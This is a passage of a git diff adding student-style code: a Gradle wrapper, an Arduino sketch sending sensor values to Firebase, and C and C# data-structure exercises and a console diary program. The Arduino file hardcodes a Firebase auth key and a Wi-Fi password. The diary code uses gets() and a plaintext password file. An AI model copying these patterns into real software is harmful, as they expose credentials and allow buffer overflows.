b/Android/Retrofit demo/gradlew.bat @@ -0,0 +1,84 @@ +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS= + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windows variants + +if not "%OS%" == "Windows_NT" goto win9xME_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/Android/Retrofit demo/settings.gradle b/Android/Retrofit demo/settings.gradle new file mode 100644 index 000000000..8cedfc042 --- /dev/null +++ b/Android/Retrofit demo/settings.gradle @@ -0,0 +1,2 @@ +include ':app' +rootProject.name = "My Application" \ No newline at end of file diff --git a/Android/git b/Android/git new file mode 100644 index 000000000..e69de29bb diff --git a/Arduino/Firebase_Home_Automation/Firebase_Home_Automation.ino b/Arduino/Firebase_Home_Automation/Firebase_Home_Automation.ino new file mode 100644 index 000000000..ac307080e --- /dev/null +++ b/Arduino/Firebase_Home_Automation/Firebase_Home_Automation.ino @@ -0,0 +1,48 @@ +#include +#include +#include +#include + #include + +// Set these to run example. +#define FIREBASE_HOST "smart-home-f5995-default-rtdb.firebaseio.com" +#define FIREBASE_AUTH "AxKFBFQR4F4294UvzSy1Am34dR3oN8R9JsSlDkX" +#define WIFI_SSID "0opsyProxy :-)" +#define WIFI_PASSWORD "12345678" + +String myString; +int vr = A0; // variable resistor connected +int sdata = 0; // The variable resistor value will be stored in sdata. + +void setup() +{ + // Debug console + Serial.begin(9600); + pinMode(vr ,INPUT); + // connect to wifi. + pinMode(D0,OUTPUT); + WiFi.begin(WIFI_SSID, WIFI_PASSWORD); + Serial.print("connecting"); + while (WiFi.status() != WL_CONNECTED) + { + Serial.print("."); + delay(500); + } + Serial.println(); + Serial.print("connected: "); + Serial.println(WiFi.localIP()); + + Firebase.begin(FIREBASE_HOST, FIREBASE_AUTH); + + Firebase.setString("Variable/Value","smart-home-f5995-default-rtdb"); +} + +void loop() +{ + +sdata = analogRead(vr); +myString = String(sdata); +Serial.println(myString); +Firebase.setString("Variable/Value",myString); +delay(1000); +} diff --git a/C#/SinglyLinkedList.cs b/C#/SinglyLinkedList.cs new file mode 100644 index 000000000..f7e48523f --- /dev/null +++ b/C#/SinglyLinkedList.cs @@ -0,0 +1,182 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace SinglyLinkedList +{ + class Node + { + public int data; + public Node next; + + public Node(int value) + { + data = value; + next = null; + } + } + + class LinkedList + { + private Node head; + public int length; + + public void AddNodeToFront(int value) + { + Node nodeToAdd = new Node(value); + nodeToAdd.next = head; + head = nodeToAdd; + length++; + } + + public void AppendToLast(int value) + { + if (head == null) + { + head = new Node(value); + head.next = null; + length++; + } + else + { + Node nodeToAdd = new Node(value); + Node current = head; + + while (current.next != null) + { + current = current.next; + } + current.next = nodeToAdd; + length++; + } + } + + public void Insert(int index, int value) + { + if (index == 0) + { + AddNodeToFront(value); + } + else if (index >= length) + { + AppendToLast(value); + } + else + { + int counter = 0; + Node newNode = new Node(value); + Node pointer = head; + Node temp; + length++; + + while(pointer != null) + { + if (counter == index - 1) + { + temp = pointer.next; + pointer.next = newNode; + newNode.next = temp; + break; + } + else + { + pointer = pointer.next; + counter++; + } + } + } + } + + public void Remove(int index) + { + if (index == 0) + { + Node current = head.next; + head.next = null; + head = current; + length--; + } + else + { + if (index >= length) + index = length - 1; + + Node current = head; + int counter = 0; + Node temp; + + while (current != null) + { + if (counter == index - 1) + { + temp = current.next; + current.next = temp.next; + length--; + break; + } + else + { + current = current.next; + counter++; + } + } + } + } + + public void Reverse() + { + if (length > 1) + { + Node first = head; + Node second = first.next; + Node temp; + + while (second != null) + { + temp = second.next; + second.next = first; + first = second; + second = temp; + } + + head.next = null; + head = first; + } + } + + public void PrintAllNodes() + { + Node point = head; + + while (point != null) + { + Console.WriteLine(point.data); + point = point.next; + } + } + } + + class Program + { + static void Main(string[] args) + { + LinkedList myLinkedList = new LinkedList(); + myLinkedList.AddNodeToFront(8); + myLinkedList.AppendToLast(7); + myLinkedList.AppendToLast(6); + myLinkedList.Insert(2, 4); + myLinkedList.Insert(3, 12); + myLinkedList.Remove(1); + Console.WriteLine("Linked list before reversal:"); + myLinkedList.PrintAllNodes(); + myLinkedList.Reverse(); + Console.WriteLine("Linked list after reversal:"); + myLinkedList.PrintAllNodes(); + Console.WriteLine("Length of the linked list: {0}", myLinkedList.length); + + Console.Read(); + } + } +} diff --git a/C/BFS_DFS.c b/C/BFS_DFS.c new file mode 100644 index 000000000..43077b784 --- /dev/null +++ b/C/BFS_DFS.c @@ -0,0 +1,159 @@ +#include + +int q[20],top=-1,front=-1,rear=-1,a[20][20],vis[20],stack[20]; +int delete(); +void add(int item); +void bfs(int s,int n); +void dfs(int s,int n); +void push(int item); +int pop(); + +void main() +{ +int n,i,s,ch,j; +char c,dummy; +printf("ENTER THE NUMBER VERTICES "); +scanf("%d",&n); +for(i=1;i<=n;i++) +{ +for(j=1;j<=n;j++) +{ +printf("ENTER 1 IF %d HAS A NODE WITH %d ELSE 0 ",i,j); +scanf("%d",&a[i][j]); +} +} +printf("THE ADJACENCY MATRIX IS\n"); +for(i=1;i<=n;i++) +{ +for(j=1;j<=n;j++) +{ +printf(" %d",a[i][j]); +} +printf("\n"); +} + +do +{ +for(i=1;i<=n;i++) +vis[i]=0; +printf("\nMENU"); +printf("\n1.B.F.S"); +printf("\n2.D.F.S"); +printf("\nENTER YOUR CHOICE"); +scanf("%d",&ch); +printf("ENTER THE SOURCE VERTEX :"); +scanf("%d",&s); + +switch(ch) +{ +case 1:bfs(s,n); +break; +case 2: +dfs(s,n); +break; +} +printf("DO U WANT TO CONTINUE(Y/N) ? "); +scanf("%c",&dummy); +scanf("%c",&c); +}while((c=='y')||(c=='Y')); +} + + +//**************BFS(breadth-first search) code**************// +void bfs(int s,int n) +{ +int p,i; +add(s); +vis[s]=1; +p=delete(); +if(p!=0) +printf(" %d",p); +while(p!=0) +{ +for(i=1;i<=n;i++) +if((a[p][i]!=0)&&(vis[i]==0)) +{ +add(i); +vis[i]=1; +} +p=delete(); +if(p!=0) +printf(" %d ",p); +} +for(i=1;i<=n;i++) +if(vis[i]==0) +bfs(i,n); +} + + +void add(int item) +{ +if(rear==19) +printf("QUEUE FULL"); +else +{ +if(rear==-1) +{ +q[++rear]=item; +front++; +} +else +q[++rear]=item; +} +} +int delete() +{ +int k; +if((front>rear)||(front==-1)) +return(0); +else +{ +k=q[front++]; +return(k); +} +} + + +//***************DFS(depth-first search) code******************// +void dfs(int s,int n) +{ +int i,k; +push(s); +vis[s]=1; +k=pop(); +if(k!=0) +printf(" %d ",k); +while(k!=0) +{ +for(i=1;i<=n;i++) +if((a[k][i]!=0)&&(vis[i]==0)) +{ +push(i); +vis[i]=1; +} +k=pop(); +if(k!=0) +printf(" %d ",k); +} +for(i=1;i<=n;i++) +if(vis[i]==0) +dfs(i,n); +} +void push(int item) +{ +if(top==19) +printf("Stack overflow "); +else +stack[++top]=item; +} +int pop() +{ +int k; +if(top==-1) +return(0); +else +{ +k=stack[top--]; +return(k); +} +} diff --git a/C/BinarySearchTree.c b/C/BinarySearchTree.c new file mode 100644 index 000000000..189a88642 --- /dev/null +++ b/C/BinarySearchTree.c @@ -0,0 +1,98 @@ +#include +#include +struct node +{ + int data; + struct node *left; + struct node *right; +}; +struct node *root; +struct node *makenode(int x) +{ + struct node *p; + p=(struct node *)malloc(sizeof(struct node)); + p->data=x; + p->left=NULL; + p->right=NULL; + return p; +} +int BSTinsert(int key) +{ + struct node *x,*y,*z; + x=root; + y=makenode(key); + while(x!=NULL) + { + z=x; + if(x->dataright; + else + x=x->left; + } + if(keydata) + z->left=y; + else + z->right=y; +} +int BSTmin(struct node *s) +{ + while(s->left!=NULL) + { + s=s->left; + } + return s->data; +} +int BSTmax(struct node *s) +{ + while(s->right!=NULL) + { + s=s->right; + } + return s->data; +} +struct node *BSTsearch(int key) +{ + struct node *t; + t=root; + while(t!=NULL) + { + if(t->data==key) + return t; + else + { + if(keydata) + t=t->left; + else + t=t->right; + } + } + return NULL; +} +int InOrdertraversal(struct node *t) +{ + if(t!=NULL) + { + InOrdertraversal(t->left); + printf(" %d",t->data); + InOrdertraversal(t->right); + } +} +void main() +{ + int A[]={13,45,23,67,56,93,72,18,35}; + root=NULL; + root=makenode(A[0]); + for(int i=1;i<9;i++) + { + BSTinsert(A[i]); + } + printf("Elements in the binary search tree ->"); + InOrdertraversal(root); + int p=BSTmax(root); + printf("\nMax Element->%d",p); + p=BSTmin(root); + printf("\nMin Element->%d",p); + struct node *r=BSTsearch(56); + printf("\nSearched element is present at %u",r); + printf("\nSearched element->%d",r->data); +} diff --git a/C/Binary_Search.c b/C/Binary_Search.c index 4e53537de..1a78bceca 100644 --- a/C/Binary_Search.c +++ b/C/Binary_Search.c @@ -32,6 +32,7 @@ int main(void) int arr[] = { 2, 3, 4, 10, 40 }; int n = sizeof(arr) / sizeof(arr[0]); int x = 10; + //Calling the binarySearch function int result = binarySearch(arr, 0, n - 1, x); (result == -1) ? printf("Element is not present" " in array") diff --git a/C/Bucket_Sort.c b/C/Bucket_Sort.c new file mode 100644 index 000000000..1ad7b0cd8 --- /dev/null +++ b/C/Bucket_Sort.c @@ -0,0 +1,53 @@ +// Bucket Sort in C programming + +#include +int getMax(int array[], int size) +{ + int max = array[0]; + for (int i = 1; i < size; i++) + if (array[i] > max) + max = array[i]; + return max; +} +void bucketSort(int array[], int size) +{ + // The size of bucket must be at least the (max+1) but + // we cannot assign declare it as int bucket(max+1) in C as + // it does not support dynamic memory allocation. + // So, its size is provided statically. + + int bucket[10]; + const int max = getMax(array, size); + for (int i = 0; i <= max; i++) + { + bucket[i] = 0; + } + for (int i = 0; i < size; i++) + { + bucket[array[i]]++; + } + for (int i = 0, j = 0; i <= max; i++) + { + while (bucket[i] > 0) + { + array[j++] = i; + bucket[i]--; + } + } +} +void printArray(int array[], int size) +{ + for (int i = 0; i < size; ++i) + { + printf("%d ", array[i]); + } + printf("\n"); +} +int main() +{ + int data[] = {4, 3, 4, 5, 6, 0, 9, 5}; + int size = sizeof(data) / sizeof(data[0]); + bucketSort(data, size); + printf("Sorted array in ascending order: \n"); + printArray(data, size); +} \ No newline at end of file diff --git a/C/Diary Management/Diary Management.c b/C/Diary Management/Diary Management.c new file mode 100644 index 000000000..f956f4689 --- /dev/null +++ b/C/Diary Management/Diary Management.c @@ -0,0 +1,828 @@ +#include +#include +#include +#include + +int login(); +void addMeet(); +void addBlog(); +void deleteMeet(); +void deleteBlog(); +void viewMeet(); +void viewBlog(); +void editMeet(); +void editBlog(); +void changePassword(); + +struct database{ + char time[6]; + char date[15]; + char name[30]; + char place[25]; + char duration[10]; + char note[500]; +}; + +int main(){ + int access = login(); + if(access){ + int ch; char logout[3]; + for(;;){ + system("cls"); + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tPersonal Diary\n"); + printf("************************************************************************************\033[0m\n"); + printf("\t\t\t\t\033[0;35m[1] Add Meet\n"); + printf("\t\t\t\t[2] Delete Meet\n"); + printf("\t\t\t\t[3] Add Blog\n"); + printf("\t\t\t\t[4] Delete Blog\n"); + printf("\t\t\t\t[5] Edit Meet\n"); + printf("\t\t\t\t[6] Edit Blog\n"); + printf("\t\t\t\t[7] Meet View\n"); + printf("\t\t\t\t[8] Blog View\n"); + printf("\t\t\t\t[9] Change Password\n"); + printf("\t\t\t\t[0] Logout \n"); + printf("\t\t\t\t Enter choice: \033[0m"); + scanf("%d",&ch); + switch(ch){ + case 1: addMeet(); break; + case 2: deleteMeet(); break; + case 3: addBlog(); break; + case 4: deleteBlog(); break; + case 5: editMeet(); break; + case 6: editBlog(); break; + case 7: viewMeet(); break; + case 8: viewBlog(); break; + case 9: changePassword(); break; + case 0: printf("\n\n\t\t\t\t\033[0;31m Are you sure? (YES/NO) : \033[0m"); + scanf("%s",logout); + if(strcmp(logout,"YES")==0){ + printf("\n\t\t\t\t\033[0;32mThanks for choosing my application :)\033[0m\n"); return 0; + }else break; + default: printf("\t\t\t\tYou pressed wrong key!!!\n\n\n"); + } + } + } +} + +int login(){ + char username[20], confirm[20]={0}, pass[15]={0}; + int i; + FILE *fp; + for(int j=0; j<3; j++) + { + i=0; + system("cls"); + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tLogin\n"); + printf("************************************************************************************\033[0m\n"); + printf("\n\n\t\t\033[0;31mPLEASE NOTE YOU HAVE ONLY THREE CHANCES TO LOGIN\n\t\t\t ENTER YOUR PASSWORD CAREFULLY\n"); + printf("\n\n\tAttempt(s) Left : \033[0m%d\n",3-j); + printf("\n\n\t\t\033[0;35mENTER USERNAME : \033[m"); + gets(username); + printf("\t\t\033[0;35mENTER THE PASSWORD : \033[m"); + do{ + pass[i]=getch(); //STORES VALUE IN getch() AND PRINTS STAR(*) + if(pass[i]!='\r') + printf("*"); + i++; + }while(pass[i-1]!='\r'); + pass[i-1]='\0'; + + fp = fopen("login.txt","r"); + if(fp==NULL){ + printf("\n\033[0;31mError with the login file...[MISSING]\033[m\n"); + getch(); + return 0; + } + else{ + i=0; + while(1){ + char c=fgetc(fp); + if(c==EOF){ + confirm[i]='\0'; + break; + } + confirm[i]=c; + i++; + } + } + + if(strcmp(pass,confirm)==0){ + printf("\n\n\t\t\t\t\033[0;32mACCESS GRANTED...\n\033[0m"); + printf("\n\t\t\t\t\033[0;33mPress Any key...\033[0m"); + getch(); + return 1; + } + else{ + printf("\n\n\t\t\t\t\033[0;31mWRONG PASSWORD... ACCESS DENIED\n"); + printf("\n\n\t\t Press Any Key To Retry... Attempts Left : \033[0m%d",3-j-1); + getch(); + } + + } + printf("\n\n\t\t\033[0;31m::YOUR 3 ATTEMPTS GOT EXHAUSTED::YOU ARE NOT ALLOWED TO ACCESS ANY FILE::\n\n\t\t\t\tPRESS ANY KEY TO GO BACK...\033[0m"); + getch(); + return 0; +} + +void addMeet(){ + system("cls"); + FILE *fp ; + char another = 'Y' ,time[10]; + struct database e ; + char filename[15]; + int choice; + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Meet Menu\n"); + printf("************************************************************************************\033[m\n"); + + printf("\n\n\t\t\t\033[0;35mENTER DATE OF YOUR RECORD:[yyyy-mm-dd]:\033[0m"); + fflush(stdin); + gets(filename); + + fp = fopen (filename, "a+" ); //OPENS FILE IN APPEND MODE AND IF IT DOESN'T EXISTS, THEN CREATES FILE + if(fp==NULL){ + fp=fopen(filename,"w+"); + if(fp==NULL) { + printf("\n\t\t\t\t\033[0;31mSYSTEM ERROR..."); + printf("\n\t\t\t\tPRESS ANY KEY TO EXIT\033[0m"); + getch(); + return ; + } + } + + while ( another == 'Y'|| another=='y' ){ + choice=0; + fflush(stdin); //CLEARS ALL THE PAST INPUTS FROM THE BUFFER TO AVOID MIS FETCHING + printf ( "\n\t\t\t\t\033[0;35mENTER TIME:[hh:mm]:\033[0m"); + scanf("%s",time); + rewind(fp); //SETS FILE POINTER TO BEGIN OF FILE AND CLEARS EOF OR ERRORS PRESENT IN FILE + while(fread(&e,sizeof(e),1,fp)==1) //READS DATA FROM GIVEN STREAM USING POINTER + { + if(strcmp(e.time,time)==0) + { + printf("\n\t\t\t\t\033[0;31mTHE RECORD ALREADY EXISTS.\033[0m\n"); + choice=1; + } + } + + if(choice==0) + { + strcpy(e.time,time); + printf("\t\t\t\t\033[0;35mENTER NAME: \033[0m"); + fflush(stdin); + gets(e.name); + fflush(stdin); + printf("\t\t\t\t\033[0;35mENTER PLACE: \033[0m"); + gets(e.place); + fflush(stdin); + printf("\t\t\t\t\033[0;35mENTER DURATION: \033[0m"); + gets(e.duration); + fflush(stdin); + printf("\t\t\t\t\033[0;35mNOTE: \033[0m"); + gets(e.note); + fwrite( &e,sizeof(e),1,fp); //WRITES DATA FROM ARRAY POINTER TO, BY POINTER TO THE GIVEN STREAM + printf("\n\n\t\t\t\t\033[0;32mYOUR RECORD IS ADDED...\033[0m\n"); + } + + printf ( "\n\t\t\t\t\033[0;35mADD ANOTHER RECORD...(Y/N)\033[0m " ) ; + fflush ( stdin ) ; + another = getchar(); //TAKES ONLY ONE LETTER AS INPUT AND IGNORES REST + + } + + + + fclose ( fp ) ; + printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO EXIT...\033[0m"); + getch(); +} + +void addBlog(){ + system("cls"); + FILE *fp ; + char another = 'Y' ,time[10]; + struct database e ; + char filename[15]; + int choice,flg; + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Blog Menu\n"); + printf("************************************************************************************\033[m\n"); + nm: printf("\n\n\t\t\t\033[0;35mENTER BLOG NAME: \033[0m"); + fflush(stdin); + gets(filename); + + fp = fopen (filename, "a+" ); //OPENS FILE IN APPEND MODE AND IF IT DOESN'T EXISTS, THEN CREATES FILE + if(fp==NULL){ + fp=fopen(filename,"w+"); + if(fp==NULL) { + printf("\n\033[0;31mSYSTEM ERROR..."); + printf("\nPRESS ANY KEY TO EXIT\033[0m"); + getch(); + return ; + } + } + + do{ + flg=1; + while(fread(&e,sizeof(e),1,fp)==1){ + if(strcmp(e.date,filename)==0){ + flg=0; + printf("\t\t\033[0;31mRecord Exists... Either make different one or edit earlier one\033[0m\n"); + goto nm; + } + } + }while(flg==0); + + while ( another == 'Y'|| another=='y' ){ + choice=0; + + rewind(fp); //SETS FILE POINTER TO BEGIN OF FILE AND CLEARS EOF OR ERRORS PRESENT IN FILE + + if(choice==0) + { + strcpy(e.date,filename); + fflush(stdin); + printf("\t\t\t\t\t\t\033[0;35mADD TODAY's BLOG...\033[0m\n\n"); + gets(e.note); + fwrite( &e,sizeof(e),1,fp); //WRITES DATA FROM ARRAY POINTER TO, BY POINTER TO THE GIVEN STREAM + printf("\n\n\t\t\t\t\033[0;32mYOUR BLOG IS ADDED...\033[0m\n"); + } + + printf ( "\n\t\t\t\t\033[0;35mADD ANOTHER BLOG...(Y/N) \033[0m" ) ; + fflush ( stdin ) ; + another = getchar(); //TAKES ONLY ONE LETTER AS INPUT AND IGNORES REST + + } +} + +void deleteMeet(){ + system("cls"); + FILE *fp,*fptr ; + struct database file ; + char filename[15],another = 'Y' ,time[10];; + int choice,check; + + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Delete Menu\n"); + printf("************************************************************************************\033[m\n"); + + while(another == 'Y') + { + printf("\n\n\t\t\t\t\033[0;35mHOW WOULD YOU LIKE TO DELETE"); + printf("\n\n\t\t\t\t[1] DELETE WHOLE RECORD"); + printf("\n\t\t\t\t[2] DELETE A PARTICULAR RECORD BY TIME"); + + do + { + printf("\n\t\t\t\tENTER YOU CHOICE: \033[0m"); + scanf("%d",&choice); + switch(choice) + { + case 1: + printf("\n\t\t\t\t\033[0;35mENTER THE DATE OF RECORD TO BE DELETED:[yyyy-mm-dd]: \033[0m"); + fflush(stdin); + gets(filename); + fp = fopen (filename, "wb" ) ; + if ( fp == NULL ) + { + printf("\n\t\t\t\t\033[0;31mTHE FILE DOES NOT EXISTS"); + printf("\n\n\t\t\t\tPRESS ANY KEY TO GO BACK.\033[0m"); + getch(); + return ; + } + fclose(fp); + remove(filename); + printf("\n\n\t\t\t\t\033[0;32m%s DELETED SUCCESFULLY...\033[0m",filename); + break; + + case 2: + printf("\n\t\t\t\t\033[0;35mENTER THE DATE OF RECORD:[yyyy-mm-dd]: \033[0m"); + fflush(stdin); + gets(filename); + fp = fopen (filename, "rb" ) ; + if ( fp == NULL ) + { + printf("\n\t\t\t\t\033[0;31mTHE FILE DOES NOT EXISTS"); + printf("\n\n\t\t\t\tPRESS ANY KEY TO GO BACK.\033[0m"); + getch(); + return ; + } + fptr=fopen("temp","wb"); + if(fptr==NULL) + { + printf("\n\t\t\t\t\033[0;31mSYSTEM ERROR"); + printf("\n\t\t\t\tPRESS ANY KEY TO GO BACK\033[0m"); + getch(); + return ; + } + printf("\n\n\t\t\t\t\033[0;35mENTER THE TIME OF RECORD TO BE DELETED:[hh:mm]: \033[0m"); + fflush(stdin); + gets(time); + + while(fread(&file,sizeof(file),1,fp)==1) + { + if(strcmp(file.time,time)!=0) + fwrite(&file,sizeof(file),1,fptr); + } + fclose(fp); + fclose(fptr); + remove(filename); + rename("temp",filename); + printf("\n\n\t\t\t\t\033[0;32mSCHEDULE AT %s ON %s DELETED SUCCESFULLY...\033[0m",time,filename); + break; + + default: + printf("\n\t\t\t\t\033[0;31mYOU ENTERED WRONG CHOICE\033[0m"); + break; + } + } + while(choice<1||choice>2); + + printf("\n\n\t\t\t\t\033[0;35mDO YOU LIKE TO DELETE ANOTHER RECORD.(Y/N): \033[0m"); + fflush(stdin); + scanf("%c",&another); + } + + printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO EXIT...\033[0m"); + getch(); +} + +void deleteBlog(){ + system("cls"); + FILE *fp,*fptr ; + struct database file ; + char filename[15],another = 'Y' ,time[10];; + int choice,check; + + while(another == 'Y') + { + system("cls"); + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Delete Menu\n"); + printf("************************************************************************************\033[m\n"); + printf("\n\t\t\t\t\033[0;35mENTER THE BLOG TO BE DELETED: \033[0m"); + fflush(stdin); + gets(filename); + fp = fopen (filename, "r" ) ; + if ( fp == NULL ) + { + printf("\n\t\t\t\t\033[0;31mTHE FILE DOES NOT EXISTS"); + printf("\n\n\t\t\t\tPRESS ANY KEY TO GO BACK.\033[0m"); + getch(); + return ; + } + fclose(fp); + remove(filename); + printf("\n\n\t\t\t\t\033[0;32m%s DELETED SUCCESFULLY...\033[0m",filename); + + printf("\n\n\t\t\t\t\033[0;35mDO YOU LIKE TO DELETE ANOTHER RECORD.(Y/N): \033[0m"); + fflush(stdin); + scanf("%c",&another); + } + + printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO EXIT...\033[0m"); + getch(); +} + +void viewMeet(){ + FILE *fp; + system("cls"); + struct database customer; + char time[6],choice,filename[14]; + int ch,flg=0; + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Meet View Menu\n"); + printf("************************************************************************************\033[m\n"); + + do{ + printf("\n\t\t\033[0;35mENTER THE DATE OF RECORD TO BE VIEWED:[yyyy-mm-dd]: \033[0m"); + fflush(stdin); + gets(filename); + fp = fopen (filename, "rb" ); + + if (fp == NULL){ + puts ( "\n\t\t\t\t\033[0;31mTHE RECORD DOES NOT EXIST...\n" ) ; + printf("\t\t\t\tPRESS ANY KEY TO EXIT...\033[0m"); + getch(); + return ; + } + + system("cls"); + printf("\n\t\t\t\t\033[0;35mHOW WOULD YOU LIKE TO VIEW:\n"); + printf("\n\t\t\t\t[1] WHOLE MEET'S PLANNED FOR THE DAY."); + printf("\n\t\t\t\t[2] RECORD OF FIX TIME."); + printf("\n\t\t\t\t ENTER YOUR CHOICE: \033[0m"); + scanf("%d",&ch); + switch(ch){ + case 1: + printf("\n\t\t\t\t\033[0;36mTHE WHOLE RECORD FOR %s IS: ",filename); + while ( fread ( &customer, sizeof ( customer ), 1, fp) == 1 ) + { + printf("\n"); + printf("\n\t\t\t\tTIME: %s",customer.time); + printf("\n\t\t\t\tMEETING WITH: %s",customer.name); + printf("\n\t\t\t\tMEETING AT: %s",customer.place); + printf("\n\t\t\t\tDURATION: %s",customer.duration); + printf("\n\t\t\t\tNOTE: %s",customer.note); + printf("\n"); + } + printf("\033[0m"); + break; + + case 2: + fflush(stdin); + printf("\n\t\t\t\t\033[0;35mENTER TIME:[hh:mm]: \033[0m"); + gets(time); + while ( fread ( &customer, sizeof ( customer ), 1, fp) == 1 ) + { + if(strcmp(customer.time,time)==0) + { + printf("\n\t\t\t\t\033[0;36mYOUR RECORD IS:"); + printf("\n\t\t\t\tTIME: %s",customer.time); + printf("\n\t\t\t\tMEETING WITH: %s",customer.name); + printf("\n\t\t\t\tMEETING AT: %s",customer.place); + printf("\n\t\t\t\tDUARATION: %s",customer.duration); + printf("\n\t\t\t\tNOTE: %s",customer.note); + printf("\033[0m"); + flg=1; + } + } + if(flg!=1) + printf("\n\t\t\t\t\033[0;31mNo such meet scheduled\n\033[0m"); + break; + + default: + printf("\n\t\t\t\t\033[0;31mYOU TYPED SOMETHING ELSE...\033[0m\n"); + break; + } + + printf("\n\n\t\t\t\t\033[0;35mWOULD YOU LIKE TO CONTINUE VIEWING...(Y/N):\033[0m"); + + fflush(stdin); + + choice = getchar(); + system("cls"); + + }while(choice=='Y'||choice=='y'); + + fclose (fp); + return ; +} + +void editBlog(){ + system("cls"); + FILE *fp ; + struct database e ; + char time[6],choice,filename[14]; + int num,count=0; + + do + { + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Editing Menu\n"); + printf("************************************************************************************\033[m\n"); + printf("\n\n\t\t\033[0;35mENTER THE BLOG NAME TO BE EDITED: \033[0m"); + fflush(stdin); + gets(filename); + + fp = fopen ( filename, "rb+" ); + + if ( fp == NULL ) + { + printf("\n\t\t\t\t\033[0;31mRECORD DOES NOT EXISTS: "); + printf("\n\t\t\t\tPRESS ANY KEY TO GO BACK\033[0m"); + getch(); + return; + } + + while ( fread ( &e, sizeof ( e ), 1, fp ) == 1 ) + { + printf("\n\t\t\t\033[0;36mYOUR OLD RECORD WAS AS:"); + printf("\nFILE NAME: %s\n",e.date); + printf("\nBLOG: %s\n\n",e.note); + + printf("\033[0m\n\t\033[0;35mENTER NEW BLOG: \033[0m\n"); + fflush(stdin); + gets(e.note); + } + + fseek(fp,-sizeof(e),SEEK_CUR); + fwrite(&e,sizeof(e),1,fp); + fseek(fp,-sizeof(e),SEEK_CUR); + fread(&e,sizeof(e),1,fp); + choice=5; + + + + if(choice==5) + { + system("cls"); + printf("\n\t\t\t\t\033[0;32mEDITING COMPLETED...\n\n\n"); + printf("\033[0;36m-------------------------------------------------------------------------------------\n"); + printf("\t\t\t\tTHE NEW RECORD IS:\n"); + printf("-------------------------------------------------------------------------------------\n"); + printf("\n\t\t\t\tFILE NAME: %s\n",e.date); + printf("\n\t\t\t\tBLOG: %s",e.note); + fclose(fp); + printf("\033[0m\n\n\t\t\t\t\033[m\033[0;35mWOULD YOU LIKE TO EDIT ANOTHER RECORD.(Y/N)\033[0m"); + scanf("%c",&choice); + count++; + } + + } + while(choice=='Y'||choice=='y'); + + fclose ( fp ); + + if(count==1) + printf("\n\t\t\t\t\033[0;32m%d FILE IS EDITED...\n\n\n",count); + else if(count>1) + printf("\n\t\t\t\t%d FILES ARE EDITED..\n\n\n",count); + else + printf("\n\t\t\t\tNO FILES EDITED...\n\n\n"); + + printf("\t\t\t\t\033[0m\033[0;33mPRESS ANY KEY TO EXIT...\033[0m"); + getch(); +} + +void viewBlog(){ + FILE *fp; + system("cls"); + struct database customer; + char time[6],choice,filename[14]; + int ch; + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Blog View Menu\n"); + printf("************************************************************************************\033[m\n"); + + do{ + printf("\n\t\t\033[0;35mENTER THE BLOG NAME TO BE VIEWED: \033[0m"); + fflush(stdin); + gets(filename); + fp = fopen (filename, "rb" ); + + if (fp == NULL){ + puts ( "\n\t\t\t\t\033[0;31mTHE BLOG DOES NOT EXIST...\n" ) ; + printf("\t\t\t\tPRESS ANY KEY TO EXIT...\033[0m"); + getch(); + return ; + } + + + printf("\n\t\t\t\t\033[0;36mTHE BLOG NAME IS: %s",filename); + while ( fread ( &customer, sizeof ( customer ), 1, fp) == 1 ) + { + printf("\n"); + printf("\n\t\t\t\tBLOG: %s",customer.note); + printf("\033[0m\n"); + } + + printf("\n\n\t\t\t\t\033[0;35mWOULD YOU LIKE TO CONTINUE VIEWING...(Y/N): \033[0m"); + + fflush(stdin); + + choice = getchar(); + system("cls"); + + 